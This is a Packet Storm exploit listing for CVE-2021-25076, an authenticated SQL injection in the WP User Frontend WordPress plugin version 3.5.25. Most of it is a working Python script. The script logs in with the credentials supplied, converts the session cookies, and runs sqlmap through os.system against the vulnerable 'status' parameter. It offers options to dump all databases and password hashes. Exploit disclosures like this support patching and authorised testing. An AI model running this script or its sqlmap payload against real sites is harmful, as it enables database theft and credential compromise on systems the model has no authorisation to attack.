WordPress WP User Frontend 3.5.25 SQL Injection

WordPress WP User Frontend plugin version 3.5.25 suffers from an authenticated remote SQL injection vulnerability.


MD5 | 8f696d00c3dc6e8bb98fac7965784753

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# Exploit Title: WordPress Plugin WP User Frontend 3.5.25 - SQLi (Authenticated)
# Date 20.02.2022
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://wedevs.com/
# Software Link: https://downloads.wordpress.org/plugin/wp-user-frontend.3.5.25.zip
# Version: < 3.5.25
# Tested on: Ubuntu 20.04
# CVE: CVE-2021-25076
# CWE: CWE-89
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-25076/README.md

'''
Description:
The WP User Frontend WordPress plugin before 3.5.26 does not validate and escape the status parameter
before using it in a SQL statement in the Subscribers dashboard, leading to an SQL injection.
Due to the lack of sanitisation and escaping, this could also lead to Reflected Cross-Site Scripting
'''

banner = '''

 _|_|_|  _|      _|  _|_|_|_|              _|_|      _|      _|_|      _|                _|_|    _|_|_|_|    _|    _|_|_|_|_|    _|_|_|  
_|        _|      _|  _|                  _|    _|  _|  _|  _|    _|  _|_|              _|    _|  _|        _|  _|          _|  _|        
_|        _|      _|  _|_|_|  _|_|_|_|_|      _|    _|  _|      _|      _|  _|_|_|_|_|      _|    _|_|_|    _|  _|        _|    _|_|_|    
_|          _|  _|    _|                    _|      _|  _|    _|        _|                _|            _|  _|  _|      _|      _|    _|  
  _|_|_|      _|      _|_|_|_|            _|_|_|_|    _|    _|_|_|_|    _|              _|_|_|_|  _|_|_|      _|      _|          _|_|    
                                                                                                                                          
                    [+] WP User Frontend - SQL Injection
                    [@] Developed by Ron Jost (Hacker5preme)
'''
print(banner)

import argparse
from datetime import datetime
import os
import requests
import json

# User-Input:
my_parser = argparse.ArgumentParser(description= 'WP User Frontend - SQL-Injection (Authenticated)')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
username = args.USERNAME
password = args.PASSWORD



print('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))

# Authentication:
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'
check = session.get(auth_url)
# Header:
header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://' + target_ip,
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1'
}

# Body:
body = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'testcookie': '1'
}
auth = session.post(auth_url, headers=header, data=body)

# SQL-Injection (Exploit):
# Generate payload for sqlmap
cookies_session = session.cookies.get_dict()
cookie = json.dumps(cookies_session)
cookie = cookie.replace('"}','')
cookie = cookie.replace('{"', '')
cookie = cookie.replace('"', '')
cookie = cookie.replace(" ", '')
cookie = cookie.replace(":", '=')
cookie = cookie.replace(',', '; ')
print('[*] Payload for SQL-Injection:')
exploitcode_url = r'sqlmap -u "http://' + target_ip + ':' + target_port + wp_path + r'wp-admin/admin.php?page=wpuf_subscribers&post_ID=1&status=1" '
exploitcode_risk = '--level 2 --risk 2 '
exploitcode_cookie = '--cookie="' + cookie + '" '
print('    Sqlmap options:')
print('     -a, --all           Retrieve everything')
print('     -b, --banner        Retrieve DBMS banner')
print('     --current-user      Retrieve DBMS current user')
print('     --current-db        Retrieve DBMS current database')
print('     --passwords         Enumerate DBMS users password hashes')
print('     --tables            Enumerate DBMS database tables')
print('     --columns           Enumerate DBMS database table column')
print('     --schema            Enumerate DBMS schema')
print('     --dump              Dump DBMS database table entries')
print('     --dump-all          Dump all DBMS databases tables entries')
retrieve_mode = input('Which sqlmap option should be used to retrieve your information? ')
exploitcode = exploitcode_url + exploitcode_risk + exploitcode_cookie + retrieve_mode + ' -p status -v 0 --answers="follow=Y" --batch'
os.system(exploitcode)
print('Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S')))

Source: packetstormsecurity.com
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